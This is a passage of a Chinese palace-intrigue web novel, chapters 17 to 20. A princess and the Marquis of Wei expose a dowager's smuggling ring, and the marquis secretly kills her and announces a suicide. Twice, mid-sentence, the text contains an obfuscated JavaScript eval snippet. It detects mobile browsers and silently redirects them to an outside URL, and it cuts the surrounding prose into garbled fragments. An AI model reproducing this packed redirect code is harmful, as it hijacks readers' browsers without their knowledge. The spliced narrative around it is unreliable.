“祁州起兵了,”储况道,“一万大军,正往我魏州边界的夔城而来,臣已命守将严阵以待,另派了副将前去协防。” 卫瀛眉梢猛地一颤,祁侯反了?!时间上比前世提前了不少,难不成和她今生选择嫁入魏州、扳倒太夫人有关? 一万人马,攻下一个边境小城绰绰有余,但想吞下整个魏州却是绝无可能,祁侯到底想做什么? 不,等等,夔城?卫瀛细细回忆着之前默记在心中的各州舆图,几息后眸子里划过一道光,面色彻底平静了下来。 储况将她神情变化尽收眼底,微微笑道,“殿下似乎并不担心?” 17. 第 17 章 卫瀛听了储况的问题,转眸直直的望着他,那双剪水眸清亮亮的,“魏州会败吗?” 储况一顿,视线轻移开,“兵家取胜,天时地利人和,缺一不可,况不敢欺瞒公主,眼下的魏州,不敢保证一定能获胜。” “是吗?”卫瀛端详着他,“本宫怎么瞧着,魏侯似乎也不怎么忧虑呀。” 她反而觉得,储况自打进了亭子里,神情倒比刚才来时路上轻松了许多。 储况静默,亭外雨声照旧,可耳畔却是难得的安宁,疲乏的身心舒展开来,连雨声也变得轻柔、悦耳起来。 他却轻轻叹口气,说道:“魏州多艰,臣如何不忧虑。” 卫瀛莞尔一笑,“不,魏州肯定会胜的!” 储况露出一丝疑惑之色,“殿下为何如此肯定?” 卫瀛心思转了转,从箭镞那件事起,她就明白,想要取信储况、收服魏州家臣,势必得证明自己的价值,一味的藏拙并不可取。 她权衡片刻,终是说道:“本宫从京畿嫁过来时,沿路瞧着,魏、祁二州接壤的那几座边城,山高谷深,十分难走,估计打起仗来也是易守难攻,祁侯若要反,为何偏要先啃硬骨头?” 卫瀛每说一句,储况的表情便褪去一分。 只听她又娇声道,“魏侯要不要和本宫赌一把?” “……赌什么?” 卫瀛娥眉一挑,整张脸神采飞扬,“祁侯的目标根本不是魏州,而是南边地势一马平川的汉州!” 刹那间,储况面上是半点表情也无了,他抿唇半晌不语,只凝眸和卫瀛对视。 她的眸子光芒夺目,他的眸子则如暗夜一般。 他放在膝上的手,微微抚过衣料,“……殿下深居后宅,却能对乾坤大势了然于胸,臣自愧弗如。” “原来魏侯也这般认为?那倒是不必赌了。不过魏侯这话,本宫爱听。”卫瀛笑着觑了他一眼,浑然好似一个受了恭维便沾沾自喜的娇蛮公主,“顺便告诉你,我永固公主就是天意,本宫在哪里,哪里就能得上天眷顾!魏侯只管把心放肚子里。” 好一个‘我就是天意’!这般疏狂,天底下怕是无人能出其右。 储况敛眸一笑,拱手道,“如此说来,公主不仅是况的天,更是我魏州百姓的天。” 卫瀛故作得意之色,“那是当然。” 储况微笑告退,起身时袍脚自卫瀛裙摆上轻轻扫过,带起一阵似有似无的清香。 是卫瀛常用的熏香味道。 储况在这抹香气缭绕下驻足,侧首望了一眼亭外的雨,眉宇复又笼上一抹淡淡的郁色,这才缓步离开。 亲随忙过来撑起伞,主仆一同走入了朦胧烟雨中。 卫瀛在亭子里静静坐了一会儿,心底将如今的天下局势消化片刻,才起身回了内室。 片刻后,烟素从外面回来,瞧了眼廊下,几个侯府出身的下人正低头扫着雨水,手底下动作轻轻,身子挨得窗户根很近。 烟素收回目光,进了内室,轻步走到卫瀛身侧,伏在她耳边压着声音禀报,“方督曹刚派人来说,走私大案的案犯们都招了,只是主犯那里,不好办……” 卫瀛沉吟了几息,吩咐侍从立即备车。 另一头,魏州大牢。 方鸿绪正全神贯注的翻阅着下属誊录的供词。 这桩走私大案,收押案犯达百余人,起先他以为,至少需要一两个月才能审个水落石出,但实际上审问竟出乎意料的快,只因前些日子胞弟周延来了一趟监牢。 周延是为稳妥起见,才亲自来送些初步整理好的罪证。他在牢里转了一圈,又驻足在审问室观摩片刻,临走时和方鸿绪提到几个人:“兄长,乙字号牢房里,那位老账房先生一身的行头价钱不低啊,单纯做账房,恐怕穿不起,他做的账估计不简单。” “隔壁那个二掌柜,在各级官吏和狱卒面前都神色从容,见人说人话,见鬼说鬼话,想来上到官场中人,下至三教九流,他都没少打交道啊!” “还有,丁字号牢房有个挑夫,目光如电,走路无声,是个深藏不露的。” 方鸿绪望着他,面带钦佩之色,“多谢!愚兄远不及你啊。” 周延得意的笑笑,“自家兄弟,道谢多生分!这个案子办好了,你我都是大功一件,到时候去襄平最大的酒家,咱兄弟一醉方休!” 方鸿绪立即命下属优先提审了那三人,日夜审问下,三人先后招供。果然,那个老账房是给整个走私网做阴阳账的,二掌柜负责维护各条走私路线,至于那个挑夫,则是穿梭于各个走私节点,传信盯梢的。 如此一来,整个走私网络很快就清晰的呈现了出来,供词厚厚几本,人证物证均十分确凿。 只是…… 翻到主犯供词,方鸿绪眉心一拧。 听得外面响起脚步声,一个侍女推开了门,卫瀛身影出现在监牢里。 方鸿绪忙放下供词,起身行礼。 “听说有个难啃的硬骨头?”卫瀛道。 方鸿绪道:“不错,是那些商号、车马行背后的东家,叫孟幼林,他的父亲…正是太夫人娘家的家老,这个孟幼林把罪名统统揽到自己身上,不承认有人幕后支使。” 卫瀛讥笑一声,“区区一个商户,单凭自己,怎么可能在魏州手眼通天?” 方鸿绪将此人的供词呈给卫瀛,眉心紧锁,说道:“不难看出,他背后的势力肯定是齐家,但想坐实罪名,势必要人证物证齐全,而眼下的证据都只能追查到孟家和魏州几位家臣,齐家完全可以弃车保帅。” 卫瀛看了一遍供词,啪的一合,“把人带来,本宫要亲自审一审。” 片刻后,狱卒带来了一个中等身材、身着囚衣的男子,带着枷锁,被按着肩膀跪到了卫瀛面前。 正是孟幼林。 此人年逾不惑,但多年养尊处优,看上去要比实际年纪年轻许多,皮肤偏白,须发浓密,一双手也只有些写字留下的薄茧。 “把枷除下来。”卫瀛吩咐,两个狱卒将孟幼林的枷锁卸去,他活动了下手腕,理了理额间的碎发,才抬眼瞧向卫瀛,见到对方竟是个年少貌美的夫人,不由表情一滞,眼睛再一扫那衣裙,便露出了然的神色。 “草民惶恐,不敢劳公主殿下屈尊审问。”他摇摇头,“再说,草民已经都招了,私贩盐铁、朱砂、军资等罪行,皆是草民利欲熏心,胆大妄为,如今人证物证具在,草民认罪伏法。” “是吗,”卫瀛没有表情的道,“看你供词里说,你私贩盐铁数额巨大,之所以一直没有案发,是因为收买了不少水运漕官和官道关尹,还重金贿赂安平伯?” “不错,”孟幼林平静的道,“草民每年各处打点,花费万金,这才能多年畅通无阻。” 卫瀛冷哼一声,“照你这么说,这魏州各地掌管水路货运的官吏,竟随随便便就被一个商户收买了?还有,安平伯储晋,乃魏侯宗亲,又官拜关漕都尉,岂是你一个商户,想见就能见到的?” 孟幼林略笑笑,“草民虽微贱,但普天之下,没有黄白之物敲不开的门,朱门世家又如何,谁能免俗?” 卫瀛沉吟片刻,看来此人铁了心的要揽下全部罪名,想要他供出幕后之人,必须另寻他法。 “听说…你父亲是齐家的家老。”卫瀛调转话题道,“你祖祖辈辈都为齐家做事,你才及冠就帮着打理齐家的十来个铺子,家主齐世康见你颇有经商才能,便借给你本钱,让你自立门户,后来你生意越做越大,攒足了钱,盘下了百年历史的永晟昌和顺永和,是这样吧?” 孟幼林沉默片刻,“草民确实是这样发迹的,但,草民如今的罪行,与齐家没有半点瓜葛,殿下不必多想。” 卫瀛指尖轻叩了下扶手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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背对他站在门前的卫瀛闻声驻足,和方鸿绪对视一眼,方鸿绪颔首,露出一抹欣喜之色…… 孟幼林供出的幕后之人,正是齐氏太夫人。 周延也在这时到沐云馆求见,送来了关键物证。 周延难掩激动之色,“殿下,之前兄长提审了永晟昌里一个账房先生,此人供认他一直都在为永晟昌做阴阳账,但臣在之前缴获的账目里并没有发现那本暗账,于是又带人去了一趟永晟昌,偶然间在地砖下发现了一个暗橱,里面藏着这些东西。” 他将一本账册和一匣书信呈上,“这本账,正是记录了各类走私之物的暗账,而这匣子里的,都是齐氏太夫人、齐家家主和孟幼林的往来书信,里面赫然都是有关私采盐铁、再售卖给祁州的信息!” 卫瀛从匣子里信手抽取一封,展开读了读,随即笑了出来,“这番调查,周府库该记首功!” 周延满面得意,嘴上仍是自谦道:“殿下过誉了,臣也是误打误撞。” 卫瀛正色道,“此事还没有旁人知道吧?” 周延也神色一肃,“自然没有,臣找到这些东西后,立即来见您了,不敢打草惊蛇。” “好!”卫瀛命烟素将这些东西仔细收好。 周延瞧了瞧,问道,“那殿下,现在是不是该……” 神色间有几分跃跃欲试。 卫瀛起身走到窗前,窗外骄阳似火,蝉鸣不休,惹人烦躁,她的头脑却冷静至极。 直接去流觞榭找储况告发齐氏?不,那不行,齐氏占据着嫡母的身份,想要彻底扳倒她,事情必须闹得魏州人尽皆知,而且必须占据道义的制高点,才能将齐氏完全压倒。 一声轻笑,回首看向周延,“周府库,通知你兄长准备下,这件事情,确实该见分晓了!” 18. 第 18 章 翌日一早,议政堂。 魏州家臣神情整肃,分列站好,储况端坐上首,开口道:“诸位爱卿,今日有何事要禀?” 方鸿绪与周延交换了下眼色,均出列道,“臣等有要事启禀。” 说着,将案宗呈上,“臣等此前奉命追查公主殿下御赐金盏一案,不想却意外牵出了遍布魏州的私贩大案!此案私贩规模巨大,走私网络密布、案犯众多,全部细节,臣等日前均已查明!” 储况接过卷宗,面色如常,“那,此案的主犯是谁?” 方鸿绪略一敛眸,沉声道,“明面上,案犯系魏州巨贾孟幼林,然此人不过是枚棋子,他背后,藏在暗处的主犯,乃是魏州极尊贵之人——太夫人齐氏!” 杜贤闻言,愤然出列道,“方督曹!太夫人为魏州操劳大半生,可谓鞠躬尽瘁,岂容你信口诋毁?” 几位家臣也高声附和道,“胡言乱语!”“太夫人怎会如此?!” 杜贤讥讽一笑,“杜某倒是怀疑,方督曹出身京畿,如今来到魏州,怕不是受了什么旨意,来挑拨主公与太夫人,乱我魏州吧?” 却听门外响起一道凌厉女声:“京畿什么旨意?本宫竟不知道?” 两旁侍女推开议政堂大门,卫瀛跨过高高的门槛,步履沉着的走过家臣队列,一位老臣皱眉瞧着她,出列颤巍巍挡在卫瀛身前,“见过殿下,殿下虽尊贵,但魏州祖训,女子不得入议政堂,还请殿下……” “那太夫人为何能进?”卫瀛问道。 那老臣顿了顿,“当年先主战死,魏州主位空虚,而四周强敌环伺,太夫人是不得已出面稳定大局,实在是此一时彼一时也。” “哦,那如今奸佞口出狂言,眼看魏州大祸临头,本宫也是不得已!” 老臣皱眉疑惑:“如何大祸临头?” 卫瀛冷哼一声,“方才分明有人含沙射影,污蔑本宫父皇!父皇他是天下共主,为何要乱一个小小魏州?难不成你们魏州自以为可与我大启卫室比肩?!” 众人神情都是一震,一时四下静寂,杜贤额角霎时滚下冷汗,不敢抬眸。 储况起身,朝卫瀛恭敬行礼,“臣惶恐,魏州岂敢有此妄念!望殿下明察。” 家臣们见状,也悉数跪地。 卫瀛绕过面前那个老臣,径直走到储况面前,命侍女将一个匣子和账册交给储况。 “魏侯,这是本宫查获的太夫人和孟幼林等案犯的往来密信,还有记载了全部走私流水的暗账,”卫瀛凛然道,“太夫人齐氏,不仅偷窃御赐之物,还授意安平伯储晋放松水路监察,协助她私贩盐铁朱砂等官营货物,损公肥私!” 储况紧攥案宗,做沉思状,几息后询问道,“如此巨大的货量,敢问殿下,都贩卖到何处了呢?” 卫瀛一听,便明白他的意图,下巴微昂,“多数都卖到了祁州!” 家臣面面相觑,无不流露出愕然之色。唯有杜贤等人,视线互相交错,都从彼此眼中看到满溢的焦灼惊惧。 卫瀛见家臣面色松动,尖刻讥讽道,“哼,想来如今攻打魏州的祁军,他们的冬衣和粮食,不少都是魏州送去的!而他们用的刀枪和箭镞,也都是用魏州出产的铁矿铸造而成的呢!” 此言一出,武将队列里顷刻炸开,不少将领义愤填膺,“这分明是没把魏州将士的性命放在眼里!”更有愤怒至极者,已全然不顾齐氏威望,恨声道:“此等叛州通敌之辈,该千刀万剐!” 储况环视四周,群情激奋,整个议政堂如烈火烹油一般,便朝卫瀛肃然道,“这桩私贩大案,臣已知晓,太夫人虽为嫡母,于臣有恩,但为魏州大义,臣即便于心不忍,也一定会给殿下和各位爱卿一个公正的交代。” 很快,披坚执锐的士卒砸开敬晖堂的大门,仆从全部都被捉拿捆绑至一处,齐氏孤身立在厅堂里,为首的将军王昶一拱手,“太夫人,得罪了。” 齐氏看也不看他,冷声道,“魏侯呢,怎么不亲自前来。” 王昶面露一丝讥讽,“太夫人所作所为,令群臣痛心,也让主公实在为难,您慈母心肠,何不体谅主公一二?” 齐氏眼睛一转,视线射到对方身上,“当年你在军中,不过一个小小伍长,是我儿储冽将你提拔起来的,如今却在储况面前摇尾乞怜,哼,不知廉耻。” 王昶朗声一笑,“末将一路升迁,靠的是军功,主公乃明主,为他效力,有何可耻?太夫人还是省省力气吧。” 说罢,一挥手,士卒们便将敬晖堂层层大门一一锁死,齐氏孤身一人,彻底被软禁起来。 几日后一个深夜,流觞榭。 窗外竹影微动,烛火下,储况正提笔写着一份名单,一个侍从躬身进来,通报说将军王昶求见。 储况将名单合上收入怀里,召见了王昶。 “主公,”王昶施礼道,“这几日,齐氏仍拒不认罪,而且粒米未尽,一直要求您去见她。” 储况瞧了对方一眼,一个老妇,强行‘喂’些餐饭,有何难?值得惊动他么。 “王将军仁善。” 王昶神色一滞,不敢再多言。 “罢了,就再见嫡母一面吧。”储况摸了摸袖底,起身去了敬晖堂。 敬晖堂外,重兵把守,里面如今一个仆从也没有了,偌大个院落,空寂无声。 储况进了院子,到了齐氏门前,士卒将门锁打开后,储况便让他们先离开,自己孤身走了进去。 坐在一隅的齐氏听得动静,抬起头来。 昏暗的灯火下,储况停步端详了下,不过几日不见,齐氏竟仿佛老了十岁,但坐姿挺直,衣衫平整,不见落魄之态。 “你来了。”齐氏冷冷道。 储况缓步走近,淡然道:“母亲,铁证如山,安平伯储晋和您兄长都已经招了,您又何必负隅顽抗呢?” 齐氏切齿道,“老身是被污蔑的!他们自己利欲熏心,私贩盐铁之事,老身一概不知,如今东窗事发,他们妄图拉老身下水!况儿,您不能轻信他们一面之词!” 储况眯眼,长睫半遮住凤眸,“母亲是被冤枉的?” 齐氏见他这样说,立即站起来,但她多日绝食,此刻十分虚弱,故而身形晃了晃,扶着桌角喘息片刻,才艰难迈步朝储况走来。 储况只冷眼旁观。 齐氏走到他面前,捉住他的手臂,面色凄然的道,“是啊,你父亲战死时正值春秋盛年,他出征前把魏州托付给了老身,老身怎么会做出背弃魏州 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“忘恩负义?”储况眉心微蹙,“你对我,何来恩情?你当真以为,我能有今日,全靠你的扶持么?” 静默了一息,储况忽然低声笑了起来,那笑声闷闷的,似是在胸腔里兜了个圈,又如鬼魅一般,在这空室里飘忽游荡。 “不,”储况笑意和煦,眉眼温柔的说道,“我能有今日,完全是因为我是唯一一个从北国大军埋伏里活着出来的人,而那场伏击,全靠我把魏州行军路线透露了出去。” 压低了声音,宛如亲昵的私语:“他们两个,是我亲手杀的!” 他伸出一只骨节分明的手,修长的五指在齐氏面前缓缓张开,“就是这只手,拉弓搭箭,从背后一箭射穿了储雍!而下一箭…没入了储冽的脖子!” “啊!!!!”齐氏发狂般大叫起来,额头青筋暴起,双目猩红,“我要杀了你!畜生!!” 她忽然迸发出一股骇人的力量,从地上弹了起来,伸手就去掐储况的脖子,却见眼前寒光一闪而过,喉间一凉,霎时一股血从她颈侧喷出,直直的往头顶藻井冲去! 齐氏瘫软倒地,身下很快集聚起一片血泊,视野开始模糊。稀薄月色下,依稀只见储况抬手抹去面颊上沾染的血迹,又扯起帷幔一角,细细的擦着一把泛着银光的匕首。 储况将匕首收入袖底,折返回齐氏身侧,见齐氏浑身抽搐,仍未咽气,便伸出脚尖点了点齐氏的手,“安心上路吧,你的夫君和儿子,都等着你一家团圆呢…” 齐氏面孔扭曲,眸子虽已涣散,却仍是死死的望向储况的脸。 储况只是静静的停在原地,自怀里取出那份名单,俯身在血里蘸了蘸,晾干又重新收好。 忽觉耳后微微发痒,仿佛有人在他后脑呼了口气,‘呵呵,她还在挣扎呢!命真硬,不愧和储雍是夫妻。’ ‘储雍那老东西不也是这样?摔下马被乱刀砍成了肉泥,竟也不咽气,反而恶狠狠的盯着你,哈,你还记得他的眼神么。’ ‘他一定后悔死了!’ 只听储况一声轻笑,“他是咎由自取,怨不得旁人……” 19. 第 19 章 转日,议政堂。 家臣无不面色凝重,三三两两聚在一处低语,句句不离这桩震动魏州的私贩大案。 忽听侍从一声喝报:“君上至!” 议政堂顷刻静寂无声,众人回身望去。 厚重的玄漆描金大门前,储况一袭缟素,布冠栉簪,俨然一身服丧装扮。 他面色苍白,眉宇凄然,神色悲戚难掩。 迈过门槛,缓步入内,越过一排排家臣。 家臣们都是神情一变,互相交换着眼色。 储况行至上首,沉声昭告:“太夫人已认罪,但自觉愧对魏州,更无颜见先父,于昨夜自裁。” 议政堂里响起窸簌低语,伴着几声低叹。 储况已是双目泛红,喉间哽了哽,默然平复良久,才继续道:“太夫人临终留下一份密信,坦言她为培植自身势力,这些年一直默许众多贪墨之徒,啃噬我魏州根基。” 家臣们唏嘘道,“唉,当年先魏侯和冽公子去的突然,太夫人一个妇道人家,把整个魏州撑了起来,怎地后来这般利欲熏心。”“可不是嘛,可惜了半生英名,毁在了一个‘贪’字上。” 众人大多面露悲戚和感慨。 唯有杜贤等人已是冷汗直流,时不时掏出帕子抖着手擦一擦。 储况:“太夫人悔恨万千,然大错已铸,为弥补一二,她在信里列出了这些蠹虫的名单。” 家臣们见他自袖底取出密信,染着斑斑血迹,那干涸的血化作墨色团块,分外刺目。 看来是太夫人绝笔无疑。 储况朗声念道,“田监杜贤,贪墨农田水利修建之款项;都尉李晃买卖军爵,侵占百姓田产;司直刘文亭收受贿赂,为走私之事遮掩,多年残害数位告发官吏,贻害无穷!” 储况从密信上抬眼,“尔等,还有什么话要说?” 杜贤涕泗横流,瘫倒在地,垂首片刻,忽的仰头大笑道:“哈哈!太夫人啊!臣对您忠心耿耿,最后竟落得这个下场么!哈哈哈!” 司直刘文亭自知大势已去,踉跄两步,一声长叹,“刘某自打收了第一笔银钱,便知贪念是个无底深渊,此生注定不得善终,该来的终会来,罢了!” 而前几日刚被派去协防的李晃,此刻并不在襄平,武将队列里便有人说,“哼,我早就看李晃的排场不对头,果然是个蠹虫!” 储况一声令下,士卒便将杜贤、刘文亭押了下去。 储况起身举起那封密信,神色冷肃,“这三人,只是太夫人名单中官职最高者,其余若干人等,官职都在他们之下。” 顿了顿,“魏州律法严明,按律,其余人也都是死罪一条,但本侯深知,官场沉浮,有太多身不由己,上官徇私枉法,下官自然难以独善其身,念在这些人也为魏州效力多年,本侯愿意给他们一个机会将功补过,日后只要尽心辅佐,本侯既往不咎!” 说罢,他命侍从端来火盆,将那封密信扔进了火里。 家臣们看着那火苗腾的跃起,将那封长长的密信吞噬,纸张翻卷焦黑,最后抽缩成一团灰烬。 队列里,不知有多少人暗中长舒一口气,低低的垂下头,掩盖住满面的羞愧之色。 “至于太夫人的后事,”储况面上恢复凄然之色,眉宇间尽是不忍,“她罪大恶极,按魏州家法,不得入祖坟宗祠,但她是先父正妻、本侯嫡母,又有多年栽培教导之恩,故特赦她与先父合葬,仍入宗祠,永享香火。” 一位老臣忍不住潸然泪下,“主公仁善!” 其余家臣也都连连叹息,无不深感触动。他们这位新主,当真是情深义重之人。 这些事情,很快就传到了沐云馆。 烟素拧眉面露忧虑,凑到卫瀛耳边道,“殿下,虽说齐氏罪孽深重,可她这一死,世人怕是会把逼杀魏侯嫡母的恶名,扣到您头上啊。” 玉扇也愤愤不平,“对啊,魏侯又是厚葬了齐氏,又是赦免了齐氏党羽里的小喽啰,啧,好人全让他做了?” 卫瀛笑了笑,储况当初肯答应她做表面夫妻的约定,就是为了借她的手扳倒太夫人,好让自己干干净净。 而她担了一个‘恶名’,换来的却是在魏州站稳脚跟,这买卖可不算赔本。 再说…… 卫瀛转眸瞧了侍女一眼,“放心,这个恶名,本宫当然不会白白替他背的,日后自然要连本带利一起收回来。” 风自院外池塘吹入窗里,带来几丝沁人的清凉。 卫瀛起身走到窗边,瞧着那墨色的树荫,繁密的树荫下藏着一株不起眼的幼苗,不知何时落于此处,扎根破土,悄然生长。 一如此刻的她。 卫瀛指节敲了下窗棂,“不管怎么说,了却一桩大案,多少也该庆贺下,你们传话给方督曹、周府库,还有崔统领,就说三日后,本宫要在沐云馆办一场私宴,犒赏他们几人。” 三日后,流觞榭。 烛火轻摇,内室空寂,储况正独坐窗前榻上,细细的用棉布擦着一把匕首,银质的刀鞘雕满花纹,刻的是起伏的山峦,山巅掠过一只海东青。 忽的,面前烛火抖了抖,明灭不定。 原本空无一物的榻边,此刻竟跪着一个半大少年,一袭玄色劲装,鹿皮护臂。 “什么事。”储况没有分神,仍是专注的盯着寒光闪闪的刀锋。 逐影道:“主人,‘那边’在办宴席,只请了三个人,周大人,方大人,还有那个崔统领。” 擦匕首的动作一停,看来是场庆功宴。 眼下齐氏势力已经连根铲除,经过这一番争斗,那位殿下,凤凰尾巴更要翘到天上去了,他该趁这机会,敲打一下,尤其是那把认了主的‘刀’。 储况将匕首入鞘,收回袖底,起身去往沐云馆。 沐云馆。 池塘边水榭里,霞绡云幄,灯火彤彤。 玉扇躬身过来将酒满上,卫瀛举杯笑道,“这桩大案能破获,几位爱卿功不可没!这杯,本宫敬你们。” 说罢,仰面饮毕。 周延、方鸿绪和崔朔也都举杯,一饮而尽。 周延放下酒杯,四下扫了眼,这场庆功宴完全不像之前卫瀛办的那场宴席奢华无度,菜色精致,酒水醇香,虽符合公主派 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108872|195215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,但毫不铺张。 一股违和感涌上心头,周延细细一想,却不由越想越心惊,悄悄抬眼望了望上首方向。 之前他只觉得这位殿下杀伐果断,如今再看,那场豪奢的宴会原来是做戏给齐氏看,殿下竟早就看出一切都是精心布置的局?她不仅看出来了,还将计就计? 周延忽觉背后冷汗流了下来,此女心机之深沉,竟有些可怖! 不,他不该自己吓自己,周延微微摇头。 既然她如今已经是主公的夫人,等过个三年五载,生几个儿女,总不会对主公不利。 更何况,若论心机城府,天底下怕是无人能出主公其右。 这么一想,周延才彻底松了口气。 这时侍女通报,魏侯来了。 储况身披鹤氅,正眉目和煦的立在水榭外。 卫瀛笑着让他进来,周延等人都起身行礼。 卫瀛命侍女在她身旁给储况设座,“什么风把魏侯吹来了?” 储况解开鹤氅,交给亲随,含笑道,“是夜风渐凉,臣来殿下这儿,讨杯酒喝。” 卫瀛心思一转,齐氏才死,储况装了半天‘孝子’,现在却来她的庆功宴,目的肯定不简单,但面子她还是得给他的,于是便说道:“本宫也是在沐云馆闷得慌,才设宴请几位爱卿小酌。” 两人都没有提及庆贺、私宴等字眼,也是心照不宣。 “殿下若不嫌弃,日后小酌解闷,臣愿随时奉陪。”储况笑意缱绻。 卫瀛神色一滞,转眸觑了对方一眼。 储况这种偶尔为之的亲近举动,让她猜不透意图。 但,想要在魏州站稳脚跟、壮大势力,和储况变亲近总没有坏处。 她轻轻一笑,“是吗,那魏侯酒量如何?” “臣酒量尚可,而且体质使然,臣本就不易醉。” 卫瀛朝周延几人道,“都听见了吗,快,今夜都给本宫向魏侯敬酒。本宫倒要看看,他醉不醉,哈哈!” 这样的小玩笑,在上位者和近臣之间根本不算什么,周延和方鸿绪兄弟俩都是开怀一笑,神态十分松弛。 唯有崔朔,无言自酌,也许是酒意微醺,剑眉星目不复往日凌厉,目光似乎都有些变钝了。 储况目光落在崔朔方向。 “殿下,这些日子,臣见崔统领勤勉尽职,忠勇可嘉,况且陛下早已下旨,令崔统领永驻魏州,护卫公主”储况眸子含笑,“臣想,应该给崔统领成个家,彻底安顿下来,没了后顾之忧,也能更好尽忠职守。” 卫瀛眉梢微颤,好啊,储况这是在敲打她,顺便把手伸到她的部下身上来了! 储况又道,“臣挑选了几户忠良之后,家风清正,其女温良贤淑,都是极佳人选。” 四下默了默,卫瀛唇角的弧度十分完美,眼底却没什么笑意,“魏侯的眼光自然是不会错的,但崔统领出身京畿,衣食起居习惯与魏人大有不同。不如这样吧,本宫身边有个侍女,是母后身边邱女史之女,自幼跟在本宫身边,伶俐体贴…本宫瞧着,倒是和崔统领很配,不知崔统领,你意下如何啊?” 20. 第 20 章 崔朔抬眸,只见卫瀛笑意盈盈。 而她身侧,灯火下的储况容貌浓丽,眸子里映着光点,仿佛瓷器上的一层薄釉,看似温柔无害,但却隐约能感受到那冷硬的触感。 崔朔膝上的手五指收拢紧握成拳,沉默了两息,起身上前跪地施礼,面容沉静似水,不露半点端倪:“殿下与魏侯美意,末将感激不尽,但末将自护卫殿下之日起,时刻如履薄冰,唯恐有辱天子使命。末将入魏州前已立誓终身不娶,愿以此身为盾,护殿下一世安康,方可不负天子之托。” “末将此志已决,心无余隙,不敢耽误他人终身,恳请成全。” 一字一句,斩钉截铁。 “好一个‘此身为盾,护一世安康’!”储况抚掌而笑,眸光却陡然暗了下去,声音清冷,“古有忠臣割股奉君,今有崔统领终身孑然效主,这等忠义,实在令况动容……” 好一条难缠的狗!能力不俗,但其心可诛!只怕终将是祸患。 储况朝崔朔举起酒杯道,“这杯酒,况敬过崔统领。” 崔朔只得回敬,饮酒时抬眸瞧了一眼,正对上储况一双似笑非笑的眸子,烛火映在里面,好似蛇的竖瞳。 饮毕,储况手中把玩着酒杯,“…既如此,况也不再强人所难了。” 卫瀛暗暗舒了口气,那抹精心设计的笑意也褪了下去,“是啊,既然崔统领心意已决,本宫也不好夺人之志。” 她果然没有看错,崔朔的确是忠心不二的神兵利器。 但,他这般决绝,是她逼他太甚,还是他本就心坚如铁? 罢了,这份忠诚,她记下了,待日后大业得成,定不会亏待他。 宴席收尾,周延等人已经微醺,面色酡红。 卫瀛扫了众人一眼,端酒到了储况面前,声音清亮,“魏侯,如今魏州破获私贩盐铁朱大案,整饬了一批蠹虫,州府上下为之一清,当浮一大白。” 她说的都是扳倒齐氏的事,却没有提及齐氏一个字。 储况含笑饮了一杯,“此事有赖殿下之力。” 卫瀛放下酒杯,瞧瞧远处侯府深处的亭台楼阁,面露一丝忧虑,“之前本宫金盏失窃,可见侯府弊病颇深,今日能丢御赐宝物,来日焉知不会泄露魏州机要?” 储况眸光微凝,“不知殿下有何高见?” 卫瀛展颜一笑,语气骄矜,“高见谈不上,只是本宫既然做了魏侯夫人,理清内务、整饬纲纪,乃责任所在,若内宅章法混乱,日后传出去,世人岂不是要笑话到本宫头上?魏侯也会脸面无光,令天下人如何信服啊。” 储况指尖轻叩桌案,轻微震动带起杯中酒水微漾,“殿下是想…” 卫瀛直接打断他,十分干脆利落的说,“把侯府的内务统统交给本宫!烂账该查的查、该追的追,重新立好规矩,日后奖惩分明,本宫可不想再丢一次金盏了!” 席间几人停下箸,看向这边。 储况眼帘一落。 诸侯夫人打理内宅天经地义,但他二人是‘表面夫妻’,且眼下这位殿下的想法,让他有些捉摸不透。 “内宅之事,能劳烦殿下,实乃况之幸。”他话锋平稳,却暗藏机锋,“只是内务繁杂,恐怕会‘扰’了殿下‘清净’。” ‘扰’和‘清净’几个字眼,他念得颇为清晰。 卫瀛仔细瞧着,他眼底分明在诘问她:当初你我约定‘互不干扰’,如今怎么要起内宅之权? 哈,当然是此一时彼一时也。 她嫁入魏州,本就是夺权来的!内宅之权虽小,但象征意义颇大,且掌握了魏侯内宅,获悉魏州各路消息都将易如反掌,她岂会放过? 卫瀛嗤笑一声,“无妨,本宫虽爱无拘无束,但也不喜虚浮度日,而且还有甄女史和侍女帮忙。” “再说,本宫母后乃是六宫之主,自幼耳濡目染,本宫还能管不好你一个侯府?”她凑过身,轻轻拍了拍储况的手背,“魏侯只管放心交给本宫,一年内保证让这侯府的用度省下两成,本宫也会重新立规矩,让上下焕然一新。” 说罢,她干脆伏到储况耳边,轻声低语,“日后,你主外,我主内,咱们各展所长,这难道不是‘互不打扰’?这才是正好应了婚前之约呐!” 呵气如兰,储况只觉一阵略带甜香的气息拂过脸颊,微微发痒。 而她对婚前之约的这一番新解释,让储况不由轻笑出声,看来这位殿下很会玩文字游戏。 储况侧脸望向卫瀛,两人目光在咫尺间轻轻一碰,他笑道:“殿下话已至此,再推脱,倒是况不识抬举了。” 转头吩咐,“去请王家老和曾傅母过来,让他们带齐侯府总账与各库钥匙,以及内外主事的名录和奴仆身契。” 片刻后,储况新任命的家老王传增和傅母曾氏便到了沐云馆,将总账、钥匙和名录等一并呈给了卫瀛。 “自明日起,侯府一应内务,皆由殿下决断。”储况看着那些东西被卫瀛的侍女一一收下,话锋一转,“王家老精明干练,对侯府旧账了如指掌,曾傅母也在府里协理多年,深谙旧例,便让他二人协助殿下,若有不妥之处,殿下随时可与况知会。” 卫瀛知道储况是留了一手,但这倒在情理之中,便爽快应下,“也好。” 见时候差不多了,卫瀛便放方鸿绪他们各自归去。 储况又坐了片刻,也起身告退。 走到水榭外,亲随忙过来帮储况披上鹤氅。 